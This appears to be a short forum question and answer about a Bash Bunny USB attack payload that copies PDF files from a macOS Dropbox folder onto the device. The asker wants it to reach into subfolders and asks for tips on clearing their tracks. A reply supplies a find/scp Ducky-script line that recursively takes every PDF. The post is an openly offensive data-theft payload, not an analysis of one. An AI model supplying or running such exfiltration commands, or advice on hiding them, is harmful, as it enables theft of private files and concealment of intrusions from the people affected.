Downloading files from folder and its sub-folders

I'm using a script to exfiltrate PDF-files from Dropbox on macOS. However, I want it to also download the PDFs from the subfolders of the /Dropbox/ directionally. Example from "/Dropbox/Misc/" etc. How do I do that?

Q STRING scp -r ./Dropbox/*.pdf /Volumes/BashBunny/$lootdir/docs/


PS: What's your best tip on clearing your tracks after this kind of command in the terminal?

This should work (haven't tested it, but it should work)

Q STRING find ./Dropbox -name '*.pdf' -exec scp '{}' /Volumes/BashBunny/$lootdir/docs/ \;
